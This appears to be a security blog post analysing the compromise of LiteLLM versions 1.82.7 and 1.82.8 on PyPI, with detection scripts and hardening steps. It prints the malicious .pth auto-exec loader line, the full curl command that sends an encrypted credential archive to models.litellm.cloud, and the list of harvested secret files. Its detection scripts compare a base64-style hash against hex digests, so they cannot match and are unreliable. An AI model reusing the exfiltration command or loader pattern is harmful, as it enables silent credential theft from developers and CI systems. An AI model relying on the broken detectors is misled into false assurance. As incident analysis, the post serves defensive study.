One .pth File. Every Secret on Your Machine. The LiteLLM Supply Chain Attack, Dissected.

On March 24, 2026, a security researcher opened a routine Python wheel file and found something that should not exist in any production package: a 34,628-byte file named litellm_init.pth.

What followed was one of the most technically sophisticated supply chain attacks ever documented against an AI library. Within hours, it had reached #1 on Hacker News with 721 points and 437 comments. Google's Mandiant team was engaged. The entire LiteLLM PyPI package was suspended. Every developer who had run pip install litellm in a recent CI/CD pipeline needed to assume their AWS keys, SSH keys, Kubernetes tokens, and crypto wallets had been exfiltrated to an attacker-controlled server.

This article is a complete technical dissection. If you use LiteLLM — or any Python AI package without pinned dependencies — stop and read every word.

How the Attack Was Executed

Step 1: Account Hijack

The attacker gained access to the PyPI account krrishdholakia — the primary LiteLLM maintainer account. The mechanism has not been publicly confirmed, but the LiteLLM team's post-mortem points to a compromise originating from the Trivy dependency used in their CI/CD security scanning workflow.

The irony is almost poetic: the tool responsible for scanning the project for vulnerabilities was itself the attack vector.

Once inside the PyPI account, the attacker published two versions that had never been through the official GitHub CI/CD pipeline. The legitimate GitHub release history stops at v1.82.6.dev1. Versions 1.82.7 and 1.82.8 were uploaded directly by the attacker. The attackers also registered the exfiltration domain litellm.cloud — note: NOT the official litellm.ai — on March 23, 2026, just hours before the malicious packages appeared on PyPI.

Step 2: Version Escalation

The attacker published two versions in sequence, each more aggressive than the last:

Version 1.82.7 was a targeted attack — it only activated if you explicitly imported the proxy module. Version 1.82.8 was designed to be total. Any Python process starting on the infected system would trigger the exfiltration, regardless of whether LiteLLM was ever imported in that process.

This escalation tells us the attacker was iterating in real time.

Step 3: The .pth Mechanism — Python's 35-Year-Old Blind Spot

This is the most technically significant element of the attack, and the one least understood by the developer community.

Every Python installation processes .pth files found in site-packages/ at interpreter startup. This is documented behavior, defined in the site module. A .pth file normally contains paths to add to sys.path. But Python also executes any line that starts with import directly at startup.

The malicious litellm_init.pth contained:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...34KB of double-encoded payload...'))"])

This line executes immediately when the Python interpreter initializes — before your script, before your virtualenv, before any import you wrote. You cannot prevent it with try/except. You cannot see it in your code. You only see it if you inspect the wheel's contents before installation.

The Python -S flag (which suppresses site module processing) would block this, but essentially no production system or CI/CD pipeline uses it.

Step 4: What It Stole

The decoded payload (double base64, designed to evade source-code grep) performs a systematic credential harvest across every secret category that has financial or access value:

Cloud infrastructure credentials:

• AWS: ~/.aws/credentials, ~/.aws/config, and IMDS instance metadata tokens + security credentials (EC2 role keys)
• GCP: ~/.config/gcloud/application_default_credentials.json
• Azure: ~/.azure/ directory

Developer credentials:

• SSH keys: id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, SSH config
• Git: ~/.gitconfig, ~/.git-credentials
• npm: ~/.npmrc
• Docker: ~/.docker/config.json, /kaniko/.docker/config.json, /root/.docker/config.json

Kubernetes:

• ~/.kube/config, /etc/kubernetes/admin.conf, kubelet.conf, controller-manager.conf, scheduler.conf
• Service account tokens

All environment variables: A single printenv captures every API key, token, and secret stored as an env var — OpenAI keys, Anthropic keys, database URLs, anything you've ever set in a .env file

Database credentials: PostgreSQL, MySQL, Redis, LDAP config files

Shell history: ~/.bash_history, ~/.zsh_history, ~/.mysql_history, ~/.psql_history — years of commands, including plaintext passwords typed into CLIs

CI/CD secrets: terraform.tfvars, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml

Cryptocurrency wallets: Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero, Ethereum keystore, Cardano, Solana

SSL/TLS private keys: /etc/ssl/private/, Let's Encrypt .pem and .key files

Webhook URLs: Grep for Slack and Discord webhook URLs in env and config

Step 5: Encryption and Exfiltration

The collected data is not sent in plaintext. The payload implements a proper hybrid encryption scheme:

1. All harvested files are concatenated into a temporary file
2. A random 32-byte AES-256 session key is generated via openssl rand
3. Data encrypted with openssl enc -aes-256-cbc -pbkdf2
4. The session key is encrypted with a hardcoded 4096-bit RSA public key via openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep
5. Both encrypted blobs are packed into tpcp.tar.gz
6. Exfiltrated via:

curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

The exfiltration target https://models.litellm.cloud/ was deliberately chosen to blend into network logs. On any system running LiteLLM legitimately, outbound traffic to a domain containing "litellm" would look entirely routine.

The RSA-4096 key means the collected data cannot be decrypted without the attacker's private key. Even if you intercepted the transmission, the contents are unreadable.

The SHA256 of the malicious .pth file is: ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg

Who Was Affected and Who Was Safe

Safe:

• Users of the official LiteLLM Proxy Docker image — all dependencies are pinned in requirements.txt and the compromised versions were never pulled into the image
• Users pinned to litellm==1.82.6 or earlier with pip install litellm==1.82.6

At risk — assume full credential compromise:

• Any environment that ran pip install litellm (unpinned) during the exposure window
• Any CI/CD pipeline with pip install litellm in its build steps
• Any Docker build that ran pip install litellm without a pinned version
• Any developer machine that ran pip install litellm --upgrade

The exposure window is approximately March 23–24, 2026, from when the malicious packages were published until they were removed from PyPI.

Detection: Are You Infected?

Run this on every machine and CI/CD environment that may have installed LiteLLM recently:

#!/bin/bash
# detect_litellm_compromise.sh
# Check all Python environments for the malicious .pth file
 
SHA_MALICIOUS="ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg"
FOUND=0
 
echo "=== LiteLLM Compromise Detector ==="
echo "Checking for malicious litellm_init.pth..."
echo ""
 
# Find all site-packages directories
while IFS= read -r pth_file; do
    actual_sha=$(sha256sum "$pth_file" 2>/dev/null | awk '{print $1}')
    echo "Found: $pth_file"
    echo "  SHA256: $actual_sha"
    if [ "$actual_sha" = "$SHA_MALICIOUS" ]; then
        echo "  STATUS: *** MALICIOUS - COMPROMISED ***"
        FOUND=1
    else
        echo "  STATUS: SHA mismatch (may still be suspicious — investigate)"
        FOUND=1
    fi
done < <(find / -name "litellm_init.pth" 2>/dev/null)
 
# Also check installed litellm version
echo ""
echo "=== Installed LiteLLM version ==="
if pip show litellm 2>/dev/null | grep -E "^Version:"; then
    INSTALLED=$(pip show litellm 2>/dev/null | grep "^Version:" | awk '{print $2}')
    if [[ "$INSTALLED" == "1.82.7" || "$INSTALLED" == "1.82.8" ]]; then
        echo "CRITICAL: Compromised version $INSTALLED is installed"
        FOUND=1
    else
        echo "Version $INSTALLED — not a known-malicious version (but audit CI/CD history)"
    fi
else
    echo "LiteLLM not found in current environment"
fi
 
echo ""
if [ "$FOUND" -eq 1 ]; then
    echo "ACTION REQUIRED: See remediation steps at https://aistackinsights.ai/blog/litellm-supply-chain-attack-2026"
else
    echo "No indicators found in current environment."
    echo "Still check CI/CD pipeline history for installs during March 23-24, 2026."
fi

# detect_litellm_compromise.py — cross-platform Python version
import hashlib, subprocess, sys
from pathlib import Path
 
MALICIOUS_SHA = "ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg"
 
def check():
    print("=== LiteLLM Compromise Detector ===\n")
    found = False
 
    # Check all site-packages for the .pth file
    try:
        import site
        dirs = site.getsitepackages() + [site.getusersitepackages()]
    except Exception:
        import sysconfig
        dirs = [sysconfig.get_path("purelib"), sysconfig.get_path("platlib")]
 
    for d in dirs:
        p = Path(d) / "litellm_init.pth"
        if p.exists():
            sha = hashlib.sha256(p.read_bytes()).hexdigest()
            print(f"FOUND: {p}")
            print(f"  SHA256: {sha}")
            if sha == MALICIOUS_SHA:
                print("  STATUS: *** MALICIOUS — ROTATE ALL CREDENTIALS NOW ***")
            else:
                print("  STATUS: Unknown .pth file — investigate immediately")
            found = True
 
    # Check installed version
    try:
        import importlib.metadata
        version = importlib.metadata.version("litellm")
        print(f"\nInstalled litellm version: {version}")
        if version in ("1.82.7", "1.82.8"):
            print("CRITICAL: Compromised version installed")
            found = True
        else:
            print("Version not in known-malicious list (audit history)")
    except importlib.metadata.PackageNotFoundError:
        print("\nLiteLLM not installed in this environment")
 
    if not found:
        print("\nNo indicators found. Still audit CI/CD logs for March 23-24 installs.")
    else:
        print("\nSee full remediation: https://aistackinsights.ai/blog/litellm-supply-chain-attack-2026")
 
if __name__ == "__main__":
    check()

Remediation: What to Do Right Now

If you find litellm_init.pth or installed 1.82.7/1.82.8:

1. Revoke every credential that was present on that machine. All of them. Not just AI API keys — SSH keys, AWS access keys, GitHub tokens, database passwords, Kubernetes service account tokens. If it was in an environment variable or config file, assume it was exfiltrated.

2. Rotate immediately:

   • AWS: aws iam delete-access-key + generate new pair; check CloudTrail for unauthorized API calls
   • GitHub: Settings → Developer Settings → Personal Access Tokens → revoke all
   • OpenAI/Anthropic/other AI keys: API console → revoke and regenerate
   • SSH: Generate new keypairs, remove old public keys from authorized_keys on all servers
   • Kubernetes: Rotate service account tokens, audit RBAC for unauthorized activity

3. Remove the infected package:

pip uninstall litellm -y
find $(python -c "import site; print(' '.join(site.getsitepackages()))") -name "litellm_init.pth" -delete

4. Pin your dependencies going forward (see next section)

5. Check for active intrusion: Review CloudTrail, GitHub audit log, and Kubernetes audit log for activity after March 23, 2026, that you did not initiate.

The Systemic Lesson: Why AI Infrastructure Is Uniquely Vulnerable

This attack is not a LiteLLM-specific failure. It is a preview of what will happen to the AI ecosystem at scale, and the technical conditions that enabled it are present in virtually every AI development team.

Reason 1: The PyPI trust model is broken for high-value targets.

PyPI has no mandatory 2FA for package maintainers of widely-used packages. Any project with millions of installs can be taken over with a single stolen password. The npm ecosystem learned this lesson through npm account hijacks in 2018 and 2021 — and PyPI is now learning it through AI packages. High-value packages should require hardware 2FA for publication, and PyPI should enforce this.

Reason 2: AI developers run with maximum secrets density.

Consider what a typical AI developer's environment contains: OpenAI API keys, Anthropic API keys, Hugging Face tokens, AWS credentials to S3 buckets with training data, GitHub tokens with repo access, Kubernetes configs to production inference clusters, possibly database credentials to production stores. This is a target environment that makes any system administrator's nightmare look modest.

Reason 3: The culture of unpinned dependencies.

Tutorial after tutorial in the AI community shows pip install litellm. No version. No hash check. No audit. The AI ecosystem moves so fast that developers treat package installation as a disposable step — run it, get the latest, ship it. A supply chain attacker only needs one window.

Reason 4: CI/CD pipelines have maximum credential access.

The most dangerous target is not a developer's laptop — it is the CI/CD pipeline. A pip install litellm step in GitHub Actions has access to every repository secret. It runs with the service account that deploys to production. A successful payload exfiltration from a CI/CD pipeline gives the attacker keys to the entire organization, not just one developer.

How to Harden Your AI Dependency Chain

This is not theoretical advice. These are the specific controls that would have prevented this attack:

1. Pin all dependencies to exact versions with hashes

# Generate a pinned requirements file with cryptographic hashes
pip install litellm==1.82.6
pip freeze | grep litellm > requirements-pinned.txt
 
# Or use pip-tools for the full dependency tree with hashes
pip install pip-tools
pip-compile --generate-hashes requirements.in -o requirements.txt
 
# Install with hash verification — any tampered package fails immediately
pip install --require-hashes -r requirements.txt

2. Verify GitHub releases match PyPI versions

Before trusting any PyPI version, verify it was actually released through the project's GitHub:

# verify_pypi_release.py — cross-check PyPI version against GitHub releases
import urllib.request, json
 
PACKAGE = "litellm"
GITHUB_REPO = "BerriAI/litellm"
VERSION_TO_CHECK = "1.82.7"
 
# Check PyPI
pypi_url = f"https://pypi.org/pypi/{PACKAGE}/{VERSION_TO_CHECK}/json"
try:
    with urllib.request.urlopen(pypi_url) as r:
        pypi_data = json.load(r)
    upload_time = pypi_data["urls"][0]["upload_time"] if pypi_data.get("urls") else "unknown"
    print(f"PyPI: version {VERSION_TO_CHECK} exists, uploaded {upload_time}")
except Exception as e:
    print(f"PyPI: {e}")
 
# Check GitHub releases
gh_url = f"https://api.github.com/repos/{GITHUB_REPO}/releases"
with urllib.request.urlopen(gh_url) as r:
    releases = json.load(r)
 
gh_tags = {r["tag_name"].lstrip("v") for r in releases}
if VERSION_TO_CHECK in gh_tags or f"v{VERSION_TO_CHECK}" in gh_tags:
    print(f"GitHub: release tag found for {VERSION_TO_CHECK} - LEGITIMATE")
else:
    print(f"GitHub: NO release tag found for {VERSION_TO_CHECK} - SUSPICIOUS")
    print("  This version was published directly to PyPI without a GitHub release.")
    print("  DO NOT INSTALL.")

3. Use Docker with pinned requirements in production

The LiteLLM Docker image was not affected because its requirements.txt pins exact versions. This is the safest deployment pattern for any AI infrastructure:

# Dockerfile — safe AI dependency pattern
FROM python:3.12-slim
 
# Copy pinned requirements with hashes — no unpinned installs allowed
COPY requirements.txt .
RUN pip install --no-cache-dir --require-hashes -r requirements.txt
 
# Verify no unexpected .pth files exist after install
RUN python -c "
import site, pathlib
for d in site.getsitepackages():
    for pth in pathlib.Path(d).glob('*.pth'):
        print(f'PTH file found: {pth}')
        content = pth.read_text()
        if 'subprocess' in content or 'base64' in content or 'exec(' in content:
            raise RuntimeError(f'SUSPICIOUS .pth file detected: {pth}')
print('No suspicious .pth files found')
"
 
COPY . .
CMD ["python", "app.py"]

4. Add a pre-install audit step to CI/CD

# .github/workflows/dependency-audit.yml
name: Dependency Security Audit
 
on: [push, pull_request]
 
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.12'
      
      - name: Install with hash verification
        run: pip install --require-hashes -r requirements.txt
      
      - name: Scan for suspicious .pth files
        run: |
          python -c "
          import site, pathlib, sys
          suspicious = []
          for d in site.getsitepackages():
              for pth in pathlib.Path(d).glob('*.pth'):
                  content = pth.read_text(errors='replace')
                  if any(x in content for x in ['subprocess', 'base64', 'exec(', 'curl', 'wget']):
                      suspicious.append(str(pth))
          if suspicious:
              print('SUSPICIOUS .pth files detected:')
              for f in suspicious: print(f'  {f}')
              sys.exit(1)
          print('No suspicious .pth files found')
          "
      
      - name: Verify PyPI versions match GitHub releases
        run: python .github/scripts/verify_releases.py

LiteLLM's Response

The BerriAI team's public response has been commendably transparent. From the official incident update (issue #24518):

• Both malicious versions removed from PyPI (the entire package was temporarily suspended)
• All maintainer accounts rotated (new accounts: @krrish-berri-2, @ishaan-berri)
• All credentials rotated: GitHub, Docker, CircleCI, pip
• Google Mandiant engaged for full incident response
• No new LiteLLM releases until supply chain has been fully audited
• Docker image users confirmed not impacted

The human tone from LiteLLM's founder — "I'm sorry for this" — contrasted sharply with typical corporate incident responses. The HN community noticed, and it matters. Trust in open source is built in exactly these moments.

The Bigger Picture: 2026 Is the Year AI Supply Chains Get Attacked

The LiteLLM attack is not an isolated incident. It is the most technically sophisticated example yet of a trend that has been building for two years. The economics are simple: AI developer environments contain enormous concentrations of high-value credentials (API keys billing at $0.01/token, AWS credentials with access to compute infrastructure worth tens of thousands per month), and the community has been moving too fast to implement basic supply chain hygiene.

The pytorch-nightly PyPI incident in 2022 — where a malicious package was uploaded to match the name of a legitimate PyTorch dependency — set the template. What has changed is the sophistication. AES-256 + RSA-4096 hybrid encryption. Domain registration coordinated with the attack window. A two-version iteration cycle suggesting real-time attacker feedback. These are not script-kiddie tactics.

The .pth mechanism in particular is concerning because it is largely unknown outside security research. The Python ecosystem has hundreds of widely-installed packages. Any one of them, if compromised, could plant a .pth file that activates on every subsequent Python process — silently, persistently, with no visible trace in the application code.

If you remember one thing from this article: every pip install packagename in your CI/CD pipeline is an unconditional grant of code execution on your build servers, with access to every secret in that environment. Treat it accordingly.

Sources

1. Security: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer — GitHub Issue #24512
2. LiteLLM PyPI package compromised — full timeline and status — GitHub Issue #24518
3. Tell HN: Litellm 1.82.7 and 1.82.8 on PyPI are compromised — Hacker News #47501426
4. Python site module documentation — .pth file processing
5. LiteLLM official documentation
6. Google Mandiant Incident Response
7. pip --require-hashes documentation
8. pip-tools: Pinning Python dependencies
9. PyTorch supply chain attack 2022 — background context
10. npm supply chain attack history — background context
11. aquasecurity/trivy — the security scanner identified as the attack entry point
12. LiteLLM GitHub repository — official release history